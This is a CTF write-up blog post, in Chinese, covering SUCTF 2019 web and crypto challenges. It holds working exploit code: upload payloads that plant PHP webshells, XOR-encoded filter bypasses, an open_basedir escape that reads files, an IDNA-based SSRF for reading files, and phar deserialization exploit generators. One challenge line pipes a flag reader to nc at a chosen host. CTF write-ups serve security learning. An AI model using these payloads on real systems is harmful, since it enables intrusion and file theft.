suctf writeup

checkin(文件上传 user.ini)

上传一个文件

<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
    mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
    $tmp_name = $_FILES["fileUpload"]["tmp_name"];
    $name = $_FILES["fileUpload"]["name"];
    if (!$tmp_name) {
        die("filesize too big!");
    }
    if (!$name) {
        die("filename cannot be empty!");
    }
    $extension = substr($name, strrpos($name, ".") + 1);
    if (preg_match("/ph|htacess/i", $extension)) {
        die("illegal suffix!");
    }
    if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
        die("&lt;? in contents!");
    }
    $image_type = exif_imagetype($tmp_name);
    if (!$image_type) {
        die("exif_imagetype:not image!");
    }
    $upload_file_path = $userdir . "/" . $name;
    move_uploaded_file($tmp_name, $upload_file_path);
    echo "Your dir " . $userdir. ' <br>';
    echo 'Your files : <br>';
    var_dump(scandir($userdir));
}

过滤了名称有ph , htacess。内容有<? 。image_type判断文件头

###payload

Content-Disposition: form-data; name="fileUpload"; filename="1.jpg"
Content-Type: image/jpeg

GIF89aaa<script language="php">system($_GET['a']);</script>
------WebKitFormBoundaryyCukuHbYjBwoPM6w
Content-Disposition: form-data; name="upload"
Content-Disposition: form-data; name="fileUpload"; filename=".user.ini"
Content-Type: application/octet-stream

GIF89a="hh"
auto_prepend_file="1.jpg"
------WebKitFormBoundary73nXJwBvXid5MKgD
Content-Disposition: form-data; name="upload"
uploads/e84b94ec7d0575be7f262842e902e7a0/?a=cat%20index.php

easyphp(异或webshell bypass_DF)

一道类似题

<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
    die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
    die('you are so close, omg');

eval($_);
?>

第一个正则匹配[\0-空格] [0-9] [‘“`$&.,|[{_defgops\x7F]

第二个过滤,strtolower将字符串转换为小写,用count_chars返回由所有使用了的字节值组成的字符串,再判断其中每个字符累计出现次数是否大于 13

看看可以使用的函数

<?php 
$arr = get_defined_functions()['internal'];

foreach ($arr as $key => $value) {
    if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $value) ){
        unset($arr[$key]);
        continue;
    }

    if ( strlen(count_chars(strtolower($value), 0x3)) > 0xd ){
        unset($arr[$key]);
        continue;
    }
}

var_dump($arr);
?>
bcmul rtrim trim ltrim chr link unlink tan atan atanh tanh intval mail min max virtual

再看看可以用的字符

['!', '%', '+', '-', '*', '/', '>', '<', '?', '=', ':', '@', '^']

way1

字符串异或

echo qiqhnin^iiiiibi^hhhhimh;//phpinfo
(qiqhnin^iiiiibi^hhhhimh)();//phpinfo()

way2

16进制异或

t = s^c^d
n = i^c^d
r = a^c^p

$p=urldecode('%ff%ff%ff%ff%ff%ff%ff')^urldecode('%8f%9e%96%96%8c%a0%9e')^urldecode('%ff%9c%ff%9c%9c%ff%9c')^urldecode('%ff%8f%ff%9b%9b%ff%8f');//print_r

print_r -> ((%ff%ff%ff%ff%ff%ff%ff)^(%8f%9e%96%96%8c%a0%9e)^(%ff%9c%ff%9c%9c%ff%9c)^(%ff%8f%ff%9b%9b%ff%8f))
scandir -> ((%ff%ff%ff%ff%ff%ff%ff)^(%8c%9c%9e%96%9b%96%9e)^(%ff%ff%ff%9c%ff%ff%9c)^(%ff%ff%ff%9b%ff%ff%8f))
即可进行函数操作了

题目

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

第一步,绕正则

Php的经典特性“Use of undefined constant”,会将代码中没有引号的字符都自动作为字符串,7.2开始提出要被废弃,不过目前还存在着。

Ascii码大于 0x7F 的字符都会被当作字符串,而和 0xFF 异或相当于取反,可以绕过被过滤的取反符号。

构造payload

${"`{{{"^"?<>/"}['+'];&+=getflag //$_GET['+'];&+=getflag

最后的payload为

?_=${%A0%B8%BA%AB^%ff%ff%ff%ff}{%A0}();&%A0=get_the_flag
//echo urlencode('_GET'^urldecode('%ff%ff%ff%ff')); => %A0%B8%BA%AB

第二步,上传webshell

用#define width 1#define height 1开头的.htaccess伪装XBM文件(X Bit Map) 绕过exif_imagetype()函数

AddType application/x-httpd-php .hh添加hh后缀

base64绕过内容检测<? 其中加入GIF89AAA头部绕过exif_imagetype(),base64四位一组加密

import requests
url = "";
payload = "?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag"
files = {'file':(".htaccess","""#define width 1
#define height 1
AddType application/x-httpd-php .hh
php_value auto_prepend_file "php://filter/convert.base64-decode/resource=webshell.hh """)}
r1 = requests.post(url+payload, files=files)
print(r1.text)
exp="""GIF89AAAPD9waHAgZXZhbCgkX1BPU1RbImEiXSk7"""
files = {'file':("webshell.hh",exp)}
r2 = requests.post(url+payload, files=files)
print(r2.text)

https://thibaudrobin.github.io/articles/bypass-filter-upload/

第三步,bypass disable function

a=mkdir("/tmp/hh");chdir('/tmp/hh');ini_set('open_basedir','..');chdir('..');ini_set('open_basedir','/');var_dump(scandir("/"));
a=mkdir("/tmp/hh");chdir('/tmp/hh');ini_set('open_basedir','..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents("/THis_Is_tHe_F14g"));

https://xz.aliyun.com/t/4720

pythonngix(urlparse)

def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl, timeout=2).read()
    else:
        return "我扌 your problem? 333"

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

直接是用blackhat议题PPT链接

Python was vulnerable
>>> from urllib.parse import urlsplit, urlunsplit
>>> url = 'http://canada.c℀.microsoft.com/some.txt'
>>> parts = list(urlsplit(url))
>>> host = parts[1]
>>> host
'canada.c℀.microsoft.com'
>>> newhost = []
>>> for h in host.split('.'):
... newhost.append(h.encode('idna').decode('utf-8'))
...
>>> parts[1] = '.'.join(newhost)
>>> finalUrl = urlunsplit(parts)
>>> finalUrl
'http://canada.ca/c.microsoft.com/some.txt'

用脚本爆破最后一个字符

# -*- coding: utf-8 -*-
from urllib.parse import urlsplit, urlunsplit
from urllib import parse

def getUrl(url):
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return False
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return False
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return finalUrl
    else:
        return False

for x in range(114111):
    uni=chr(x)
    url = "http://suctf.c{}".format(uni)
    try:
        if getUrl(url):
            print (getUrl(url))
            print("str:"+url+"unicode:\\u"+str(hex(x))[2:])
    except:
        pass
str:ℂ unicode:\u2102
str:℅ unicode:\u2105
str:℆ unicode:\u2106
str:ℭ unicode:\u212d
str:Ⅽ unicode:\u216d
str:ⅽ unicode:\u217d
str:ç unicode:\u24b8
str:ⓒ unicode:\u24d2
str:C unicode:\uff23
str:c unicode:\uff43

读取nginx配置文件 /usr/local/nginx/conf/nginx.conf

得到flag路径/usr/fffffflag;

GET /getUrl?url=file://suctf.c%E2%93%92/usr/fffffflag
GET /getUrl?url=file://suctf.c℆sr/fffffflag

easysql(mysql设置)

<?php
    session_start();
    include_once "config.php";
    $post = array();
    $get = array();
    global $MysqlLink;
    //GetPara();
    $MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
    if(!$MysqlLink){
        die("Mysql Connect Error!");
    }
    $selectDB = mysqli_select_db($MysqlLink,$dataName);
    if(!$selectDB){
        die("Choose Database Error!");
    }

    foreach ($_POST as $k=>$v){
        if(!empty($v)&&is_string($v)){
            $post[$k] = trim(addslashes($v));
        }
    }
    foreach ($_GET as $k=>$v){
        }
    }
    //die();
    ?>

<html>
<head>
</head>

<body>

<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>

<?php

    if(isset($post['query'])){
        $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
        //var_dump(preg_match("/{$BlackList}/is",$post['query']));
        if(preg_match("/{$BlackList}/is",$post['query'])){
            //echo $post['query'];
            die("Nonono.");
        }
        if(strlen($post['query'])>40){
            die("Too long.");
        }
        $sql = "select ".$post['query']."||flag from Flag";
        mysqli_multi_query($MysqlLink,$sql);
        do{
            if($res = mysqli_store_result($MysqlLink)){
                while($row = mysqli_fetch_row($res)){
                    print_r($row);
                }
            }
        }while(@mysqli_next_result($MysqlLink));
    }
    ?>

“select “.$post[‘query’].”||flag from Flag”

需要通过||带出flag

解法1

set sql_mode = pipes_as_concat可以改变||的作用为连接字符串

例子

mysql> select "na"||"me" from users ;
+------------+
| "na"||"me" |
+------------+
|          0 |
+------------+

mysql> set sql_mode = pipes_as_concat;

mysql> select "na"||"me" from users ;
+------------+
| "na"||"me" |
+------------+
| name       |
+------------+
mysql> select 1||roisflag from flag;
+-------------+
| 1||roisflag |
+-------------+
| 1fctf{123}  |
| 1flag{1}    |
+-------------+

设置之后,随意输入字符串就能返回该字符串和flag拼接的内容

payload为 1;set sql_mode = pipes_as_concat;select 1

解法2

通过,

select *,1||flag from Flag可以查出flag

upload2(phar反序列化)

题目

给了源码

//index.php
include 'class.php';
$userdir = "upload/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
    mkdir($userdir, 0777, true);
}
if (isset($_POST["upload"])) {
    // 允许上传的图片后缀
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    $tmp_name = $_FILES["file"]["tmp_name"];
    $file_name = $_FILES["file"]["name"];
    $temp = explode(".", $file_name);
    $extension = end($temp);
    if ((($_FILES["file"]["type"] == "image/gif")
            || ($_FILES["file"]["type"] == "image/jpeg")
            || ($_FILES["file"]["type"] == "image/png"))
        && ($_FILES["file"]["size"] < 204800)   // 小于 200 kb
        && in_array($extension, $allowedExts)
    ) {
        $c = new Check($tmp_name);
        $c->check();
        if ($_FILES["file"]["error"] > 0) {
            echo "错误:: " . $_FILES["file"]["error"] . "<br>";
            die();
        } else {
            move_uploaded_file($tmp_name, $userdir . "/" . md5($file_name) . "." . $extension);
            echo "文件存储在: " . $userdir . "/" . md5($file_name) . "." . $extension;
        }
    } else {
        echo "非法的文件格式";
    }    
}

//func.php
include 'class.php';
if (isset($_POST["submit"]) && isset($_POST["url"])) {
    if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){
        die("Go away!");
    }else{
        $file_path = $_POST['url'];
        $file = new File($file_path);
        $file->getMIME();
        echo "<p>Your file type is '$file' </p>";
    }
}

//class.php
include 'config.php';
class File{
    public $file_name;
    public $type;
    public $func = "Check";
    function __construct($file_name){
        $this->file_name = $file_name;
    }
    function __wakeup(){
        $class = new ReflectionClass($this->func);
        $a = $class->newInstanceArgs($this->file_name);
        $a->check();
    }
    function getMIME(){
        $finfo = finfo_open(FILEINFO_MIME_TYPE); //返回mine类型
        $this->type = finfo_file($finfo, $this->file_name);
        finfo_close($finfo);
    }
    function __toString(){
        return $this->type;
    }
}
class Check{
    public $file_name;
    function __construct($file_name){
        $this->file_name = $file_name;
    }
    function check(){
        $data = file_get_contents($this->file_name);
        if (mb_strpos($data, "<?") !== FALSE) {
            die("&lt;? in contents!");
        }
    }
}

//admin.php
include 'config.php';
class Ad{
    public $ip;
    public $port;
    public $clazz;
    public $func1;
    public $func2;
    public $func3;
    public $instance;
    public $arg1;
    public $arg2;
    public $arg3;
    function __construct($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3){
        $this->ip = $ip;
        $this->port = $port;
        $this->clazz = $clazz;
        $this->func1 = $func1;
        $this->func2 = $func2;
        $this->func3 = $func3;
        $this->arg1 = $arg1;
        $this->arg2 = $arg2;
        $this->arg3 = $arg3;
    }
    function check(){
        $reflect = new ReflectionClass($this->clazz);
        $this->instance = $reflect->newInstanceArgs();
        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
        $reflectionMethod->invoke($this->instance, $this->arg1);
        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
        $reflectionMethod->invoke($this->instance, $this->arg2[0], $this->arg2[1], $this->arg2[2], $this->arg2[3], $this->arg2[4]);
        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
        $reflectionMethod->invoke($this->instance, $this->arg3);
    }
    function __wakeup(){
        system("/readflag | nc $this->ip $this->port");
    }
    function __destruct(){
        getFlag($this->ip, $this->port);
    }
}
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
    if(isset($_POST['admin'])){
        $ip = $_POST['ip'];
        $port = $_POST['port'];
        $clazz = $_POST['clazz'];
        $func1 = $_POST['func1'];
        $func2 = $_POST['func2'];
        $func3 = $_POST['func3'];
        $arg1 = $_POST['arg1'];
        $arg2 = $_POST['arg2'];
        $arg2 = $_POST['arg3'];
        $admin = new Ad($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
        $admin->check();
    }
}
else {
    echo "You r not admin!";
}

关键点在admin.php,需要ssrf

finfo_file()函数可以触发phar反序列化,而filename又可控,可以触发反序列化,利用SoapClient类来ssrf访问admin.php获取flag。

class.php过滤了许多协议使用 php://filter/resource=phar:// 绕过,而 ssrf 则需要触发File的__wakeup方法,通过反射调用check()方法触发soap类的__call方法

admin.php的Ad类,触发__desctruct方法的话,确保Ad::check方法不报错就行。如果触发__wakeup方法的话,使用mysql的LOAD DATA LOCAL INFILE触发phar反序列化

mysqli->real_connect() overwrites MYSQLI_OPT_LOCAL_INFILE setting

$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '', 'mysql', 2333);
$p = mysqli_query($m, 'select * from user;');
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://phar.png\' INTO TABLE class  LINES TERMINATED BY \'\r\n\'  IGNORE 1 LINES;');

搭环境

搭建docker环境后发现MariaDB在root使用unix_socket插件,使www用户无法登录mysql

UPDATE user SET plugin="";
FLUSH PRIVILEGES;

要使用mysql的LOAD DATA LOCAL INFILE触发phar反序列化

mysqli->real_connect() overwrites MYSQLI_OPT_LOCAL_INFILE setting

exp

先上传exp2生成的phar2文件,得到路径
再修改exp1中的phar://文件路径,生成phar1文件,上传
最后触发phar1的反序列化

//exp1
<?php
class File{

    public $file_name;
    public $type;
    public $func = "SoapClient";

    function __wakeup(){
        $class = new ReflectionClass($this->func);
        $a = $class->newInstanceArgs($this->file_name);
        $a->check();
    }
    function __construct(){
        $target = 'http://127.0.0.1/admin.php';
        $post_string = 'admin=&ip=xxip&port=2333&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3=';
        $post_string = 'admin=&ip=ip&port=2333&clazz=Mysqli&func1=init&func2=real_connect&func3=query&arg1=&arg2[0]=localhost&arg2[1]=root&arg2[2]=&arg2[3]=mysql&arg2[4]=3306&arg3=LOAD DATA LOCAL INFILE \'php://filter/resource=phar://upload/0b4160b356e71f5df4c73233a8a686d9/b53bb7b00b61e16da81548d02884a78d.png\' INTO TABLE user  LINES TERMINATED BY \'\r\n\'  IGNORE 1 LINES;';

        $this->file_name = [null,array("location" => $target,"user_agent"=>"exp\r\nContent-Type: application/x-www-form-urlencoded\r\nCookie: profile=1"."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,"uri" => "http://127.0.0.1/")];

    }

}

$exp=new File();
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('<script language="php">__HALT_COMPILER();</script>');
$phar->setMetadata($exp); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
rename("phar.phar","phar.png");
@unlink("test.txt");
//exp2
<?php
class Ad{
}

$exp=new Ad();
@unlink("phar2.phar");
$phar = new Phar("phar2.phar");
$phar->startBuffering();
$phar->setStub('<script language="php">__HALT_COMPILER();</script>');
$phar->setMetadata($exp); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
rename("phar2.phar","phar2.png");
@unlink("test.txt");
phar2文件上传的路径
php://filter/resource=phar://upload/0b4160b356e71f5df4c73233a8a686d9/b53bb7b00b61e16da81548d02884a78d.png
再上传phar1
php://filter/resource=phar://upload/0b4160b356e71f5df4c73233a8a686d9/ed54ee58cd01e120e27939fe4a64fa92.png

crypto

mt

题目

from Crypto.Random import random
from Crypto.Util import number
from flag import flag

def convert(m):
    m = m ^ m >> 13
    m = m ^ m << 9 & 2029229568
    m = m ^ m << 17 & 2245263360
    m = m ^ m >> 19
    return m

def transform(message):
    assert len(message) % 4 == 0
    new_message = ''
    for i in range(len(message) / 4):
        block = message[i * 4 : i * 4 +4]
        block = number.bytes_to_long(block)
        block = convert(block)
        block = number.long_to_bytes(block, 4)
        new_message += block
    return new_message

# print len(flag[5:-1].decode('hex'))
transformed_flag = transform(flag[5:-1].decode('hex')).encode('hex')
print 'transformed_flag:', transformed_flag
# transformed_flag: 641460a9e3953b1aaa21f3a2

自己的exp

from Crypto.Util import number
def convert(m):
    m = m ^ (m >> 13)
    m = m ^ ((m << 9) & 0x78f39600)
    m = m ^ ((m << 17) & 0x85d40000)
    m = m ^ (m >> 19)
    return m

def dconvert(m):
    m = (m & 0xffffe000) | ((m >> 19)^(m & 0x1fff))
    low17bit = m & 0x1ffff
    low15bit = m & 0x7fff
    high15bit = (low15bit&0x42ea)^((m&0xfffe0000)>>17)
    m = (high15bit<<17)|low17bit
    low9bit = m & 0x1ff
    low9_18bit = (low9bit&0x1cb)^((m>>9)&0x1ff)
    low18_27bit = (low9_18bit&0x3c)^((m>>18)&0x1ff)
    high5bit = (low18_27bit&0xf)^((m>>27)&0x1f)
    m = (high5bit<<27)|(low18_27bit<<18)|(low9_18bit<<9)|low9bit
    t = m
    m = (m & 0xfff80000) | (((m>>19)<<6)^(m&0x7ffff)) 
    m = (m&0xffffffc0) | (((m>>13)&0x3f)^(t&0x3f))
    return m

flag = [0x641460a9,0xe3953b1a,0xaa21f3a2]
message = ''

for i in flag:
    block = dconvert(i)
    block = number.long_to_bytes(block, 4)
    message += block

print message.encode('hex')

大佬的exp

from Crypto.Random import random
from Crypto.Util import number

def convert(m):
    m = m ^ m >> 13
    m = m ^ m << 9 & 2029229568
    m = m ^ m << 17 & 2245263360
    m = m ^ m >> 19
    return m

def transform(message):
    new_message = ''
    for i in range(len(message) / 4):
        block = message[i * 4 : i * 4 +4]
        block = number.bytes_to_long(block)
        block = convert(block)
        block = number.long_to_bytes(block, 4)
        new_message += block
    return new_message
c1 = '641460a9'
c2 = 'e3953b1a'
c3 = 'aa21f3a2'
def decode(c):
 x = c
 while True:
     xx = x
     x = transform(x.decode('hex')).encode('hex')
     if x == c:
         return xx

print(decode(c1)+decode(c2)+decode(c3))
#flag{84b45f89af22ce7e67275bdc}

文章作者: hh
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 hh !
 上一篇
crypto初级题目 crypto初级题目
古典密码base64base64_table = ['=','A', 'B', 'C', 'D','E','F','G&
2019-08-30
下一篇 
网络/ssh代理例子 网络/ssh代理例子
例子1将vps流量代理到本地 情景:有一台国外服务器,当梯子用 ssserver将 ssserver -p 2333 -k password -m aes-256-cfb本地连接 通过命令行连接或者ss客户端 sslocal -s x.x.
2018-09-07
  目录